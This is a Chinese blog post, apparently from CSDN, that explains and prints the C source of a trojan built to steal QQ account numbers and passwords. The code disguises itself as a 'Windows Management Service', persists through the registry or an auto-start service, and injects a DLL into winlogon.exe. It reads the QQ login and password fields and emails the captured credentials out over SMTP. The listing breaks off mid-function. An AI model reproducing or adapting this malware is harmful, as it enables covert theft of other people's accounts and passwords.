研究分析QQ木马程序源代码

本文深入分析了一款针对QQ1230和2003版本的木马程序源代码,探讨了如何通过注册表操作、进程注入、DLL注入等手段获取QQ号码和密码。同时,提到了在Win98、2000和2003系统上的兼容性以及在NT系统中遇到的问题。此外,文章还介绍了如何通过SMTP发送邮件以及源代码中的一些关键函数和流程。最后,指出QQ在密码保护方面的不足,呼吁加强安全措施。
摘要由CSDN通过智能技术生成

   
QQ 木马的源代码 

 

如何判断系统
如何操作注册表
如何通过控制自己的进程得到其他进程的内容
如何复制文件
如何插入进程[也叫进程注射,好像这么叫]
如何通过SMTP法送邮件


针对QQ1230及2003版的木马程序源代码,兼容win98,2000,不显示进程。

首先请大家不要骂我,我早已对QQ不感兴趣,不过好久没有听说新的盗QQ号的程序,还是觉得有点奇怪,问了几个人,听说新版的QQ增加了防盗的功能,就来了一点兴趣,花了点时间,写了这么一个偷号的程序,但是只用自己的号测试过,可从来没动过别人的!仅供初学者参考,让高手见笑了。这个程序支持QQ1230可QQ2003版本,系统平台我在Win98,2000和2003上测试都没有问题,其他的系统没有测试过,不知道行不行。
到网上随便找了一点资料,都很旧了,除了用键盘记录的,就是向QQ的号码和密码窗口发送WM_GETTEXT消息得到它们的内容的,这个在98下很好办,不过我不知道什么时候在哪里好像看过在nt平台下是不行的,一个进程向另外一个进程的带有密码属性的窗口发送WM_GETTEXT消息是不能得到其内容的,只有自身进程发送的WM_GETTEXT消息才行。但是这也好办,我们把得到密码的函数作为一个线程插入到QQ进程里面不就行了么!远程线程插入在Shotgun的大作《揭开木马的神秘面纱(四)》和《Windows核心编程》的第22章都有详细的叙述。下面就详细说明一下流程。
首先,判断系统版本,如果就9x,将自己复制到系统目录,如果复制成功,说明自身没有在系统目录运行那么需要启动系统目录下的实例,然后自己退出。再创建一个互斥量,保证只有一个实例存在。接下来,用RegisterServiceProcess函数将自己注册成一个服务程序,这样在9x下按ctrl+alt+del就不会看到了。最后,调用GetQQPass函数,监视QQ登录的情况。如果是NT系统,将自己安装为自动启动的系统服务,服务启动后,任务就是释放两个要插入其他进程的dll,把监视QQ登录窗口的dll插入到winlogon.exe进程中,然后就停止,这样就不会在任务管理器里面看到不正常的进程了。插入到winlogon.exe里面的线程负责监视是否有QQ登录,发现后就将GetQQPass函数作为一个线程插入到QQ进程中,当GetQQPass函数捕获到号码和密码时,就向设置好的邮箱发一封信。至于为什么要插入到winlogon.exe进程,只是习惯而已,当然,也可以插入到其他的系统进程里,但是注意一定要插入到系统进程,不能是用户进程。因为只有系统进程里的线程才能在任何用户登录的情况下都有权限做远程线程插入的动作。GetQQPass函数我使用很简单的办法,就是向QQ的号码和密码窗口发送WM_GETTEXT消息得到它们的内容。判断哪个窗口是号码窗口和密码窗口的办法也是最常用的,就是靠它们的style。首先用QQ登录窗口的类名得到QQ的登录窗口的句柄,再通过这个句柄找到号码窗口和密码窗口的句柄。类名和子窗口的style都是用spy++得到的。这里有一个细节,就是“QQ注册向导”窗口里面,选中“使用已有的QQ号码”以后和选中以前的号码与密码窗口的style是不一样的,当然我们要选中以后的style了。发邮件部分也很简陋,现在只在163和sina的测试过,还能用。其中base64编码部分的代码是以前从网上copy的,忘了从哪里看的了,总之感谢这段代码的作者。
现在还有一个非常严重的bug,就是在nt平台上,不能得到非管理员用户的QQ号码和密码,我观察过,明明已经将GetQQPass插入到QQ进程里了,但是就是不能得到密码,郁闷,哪位知道怎么回事,请不吝指教。
下面是源代码:

//这个是包含要用到的函数和结构的说明的头文件
/*---------------------------------------------------------------------
//GQPSvr.h
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.7
---------------------------------------------------------------------*/
#include <windows.h>
//---------------------------------------------------------------------
//判断系统版本,9x返回1,NT、2000、xp、2003返回2,其它返回0
int GetOsVer(void);

//---------------------------------------------------------------------
//复制自身到系统目录
//pAim:[in,out],初始为存放目标文件名缓冲区的指针,
//函数向缓冲区返回完整路径的目标文件名
//成功返回0,否则返回非0
int CopySelfToSys(char *pAim);

//---------------------------------------------------------------------
//加入注册表自启动项,KeyName为键名,Key&#118alue为键值
void RegStart(const char *KeyName, const char *Key&#118alue);


//---------------------------------------------------------------------
//为当前进程增加指定的特权,Name为特权名,成功返回0,失败返回1
int AddPrivilege(const char *Name);

//---------------------------------------------------------------------
//将FullName指定的dll文件以远程线程方式插入到Pid指定的进程里
//成功返回0,失败返回1
int InjectDll(const char *FullName, const DWORD Pid);


/*---------------------------------------------------------------------
功能:得到进程名对应的Pid
要求:win2000以上系统,链接时需要psapi.lib
返回值:未找到则返回0,否则返回第一个符合条件的pid
说明:因为可能有相同进程名的多个实例存在,所以将所有符合条件的
进程的pid依次存放在aPid数组里
aPid的值可以为NULL,如果aPid为NULL,函数找到第一个符合条件的pid
后立即返回
---------------------------------------------------------------------*/
DWORD ProcessToPID(const char *ProcessName, DWORD aPid[1024]);

//---------------------------------------------------------------------
//通过需要身份验证的smtp服务器发送邮件的函数
typedef struct _SMTPINFO
{
char SmtpSrvName[32];
char Port[7];
char UserName[16];
char Password[16];
char From[32];
char To[32];
char Subject[32];
char Msg[64];

}SMTPINFO;

int SendMail(const SMTPINFO *psmtpinfo);

/*---------------------------------------------------------------------
递归枚举hFatherWindow指定的窗口下的所有子窗口和兄弟窗口,
返回和lstyle样式相同的窗口句柄,如果没有找到,返回NULL
---------------------------------------------------------------------*/
HWND GetStyleWindow(HWND hFatherWindow, const long lstyle);

//---------------------------------------------------------------------
//得到QQ密码的函数
DWORD WINAPI GetQQPass(void);
//---------------------------------------------------------------------


//主程序
/*---------------------------------------------------------------------
//GQPSvr.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.9
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include "GQP_Data.h"
#include "Plus_Data.h"
#include <stdio.h>
#include <windows.h>
#include <winsvc.h>
//---------------------------------------------------------------------
//Global constant
//服务显示名称
const char DISPLAYNAME[33] = "Windows Management Service";
//复制到系统的文件名
const char SRVFILENAME[13] = "Winms.exe";
//要插入的进程名
const char DESTPROC[19] = "winlogon.exe";
//互斥量
const char *pchMyMutex = "sjdf ^-^";
//dll文件名
const char *GQP_Dll_Name = "//nt_gqp_dll.dll";
const char *Plus_Dll_Name = "//nt_plus_dll.dll";
//9x下写入注册表自启动项的键名
const char *pchStartName = "GQP";
//---------------------------------------------------------------------
//Glabal variable
const char SERVICENAME[9] = "winms";
SERVICE_STATUS MyServiceStatus;
SERVICE_STATUS_HANDLE MyServiceStatusHandle;
char achAim[MAX_PATH + 1];
int WillStop = 0;

//---------------------------------------------------------------------
//Function declaration
void MyServiceStart (int argc, char *argv[]);
void MyServiceCtrlHandler (DWORD opcode);
DWORD MyWrokThread(void);
//---------------------------------------------------------------------
//Function definition
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//判断系统版本
int OsVer = GetOsVer();

//如果是9x系统,把自己注册为
//服务程序,用于隐藏自己,并开始监视QQ登录

if (OsVer == 1)
{
//准备复制到系统目录
ZeroMemory(achAim, sizeof(achAim));
lstrcpy(achAim, SRVFILENAME);

//如果复制成功,说明自身没有在系统目录运行
//那么需要启动系统目录下的实例,然后自己退出
if (!CopySelfToSys(achAim))
{
WinExec(achAim, SW_HIDE);
return 1;
}

//确定只有一个实例存在
CreateMutex(NULL, 0, pchMyMutex);

if (GetLastError() == ERROR_ALREADY_EXISTS)
{
return 1;
}

DWORD (WINAPI *RegisterServiceProcess)(DWORD, DWORD);
HMODULE k32 = GetModuleHandle("KERNEL32.DLL");

if(k32)
{
RegisterServiceProcess = GetProcAddress(k32, "RegisterServiceProcess");

if(RegisterServiceProcess)
{
RegisterServiceProcess(0, 1);
}
}

RegStart(pchStartName, achAim);

//调用获取QQ密码的函数
GetQQPass();

}

//如果是win2000系统,将自己注册为自动启动的系统服务,
//服务的任务是启动后把监视QQ登录窗口的dll插入到winlogon.exe
//进程中,然后就停止
if (OsVer == 2)
{

//复制自身到系统目录
ZeroMemory(achAim, sizeof(achAim));
lstrcpy(achAim, SRVFILENAME);
CopySelfToSys(achAim);

//如果参数为“-service”就作为服务启动
if (strstr(lpCmdLine, "-service") != NULL)
{
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{SERVICENAME, (LPSERVICE_MAIN_FUNCTION)MyServiceStart},
{NULL, NULL}
};

if (!StartServiceCtrlDispatcher( DispatchTable))
{
return 1;
}

return 0;
}

//否则就安装服务
SC_HANDLE newService, scm;
//连接SCM
if (!(scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE)))
{
return 1;
}

//当作为服务启动时加上“-service”参数
lstrcat(achAim," -service");

if ((newService = CreateService(scm,
SERVICENAME,
DISPLAYNAME,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
achAim,
NULL, NULL, NULL, NULL, NULL)))

{
//启动服务
char *pra[] = {" -service", "/0"};

StartService(newService, 1, (const char **)pra);

}

CloseServiceHandle(newService);
CloseServiceHandle(scm);
return 0;
}

return 0;
}


DWORD MyWorkThread(void)
{
Sleep(3000);

//释放两个dll到系统目录
//释放NT_GQP_DLL.dll

ZeroMemory(achAim, sizeof(achAim));

if (!GetSystemDirectory(achAim, sizeof(achAim) - 1))
{
return 1;
}

lstrcat(achAim, GQP_Dll_Name);

FILE *fp;

if ((fp = fopen(achAim, "wb")) != NULL)
{
//用GQP_Dll_Data1、2、3这么麻烦是因为把dll的数据放到了
//头文件里作为数组形式,不过lcc编译器不支持太多的行,
//所以只好分成三部分了。
fwrite(GQP_Dll_Data1, sizeof(GQP_Dll_Data1), 1, fp);
fwrite(GQP_Dll_Data2, sizeof(GQP_Dll_Data2), 1, fp);
fwrite(GQP_Dll_Data3, sizeof(GQP_Dll_Data3), 1, fp);
fclose(fp);
}

//释放NT_Plus_DLL.dll
ZeroMemory(achAim, sizeof(achAim));

if (!GetSystemDirectory(achAim, sizeof(achAim) - 1))
{
return 1;
}

lstrcat(achAim, Plus_Dll_Name);

if ((fp = fopen(achAim, "wb")) != NULL)
{
fwrite(Plus_DLL_Data1, sizeof(Plus_DLL_Data1), 1, fp);
fwrite(Plus_DLL_Data2, sizeof(Plus_DLL_Data2), 1, fp);
fwrite(Plus_DLL_Data3, sizeof(Plus_DLL_Data3), 1, fp);
fclose(fp);
}

//得到要插入的目标进程的pid
DWORD Pid;

if ((Pid = ProcessToPID(DESTPROC, NULL)) != 0)
{
//要插入的dll文件名在释放文件时已经存在DLL_Path中
//插入目标进程
InjectDll(achAim, Pid);

}

WillStop = 1;
Sleep(3000);
return 0;
}


void MyServiceStart (int argc, char *argv[])
{

MyServiceStatus.dwServiceType = SERVICE_WIN32;
MyServiceStatus.dwCurrentState = SERVICE_START_PENDING;
MyServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
MyServiceStatus.dwWin32ExitCode = 0;
MyServiceStatus.dwServiceSpecificExitCode = 0;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;

if (!(MyServiceStatusHandle = RegisterServiceCtrlHandler(SERVICENAME,
(LPHANDLER_FUNCTION)MyServiceCtrlHandler)))
{
re

评论 15
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值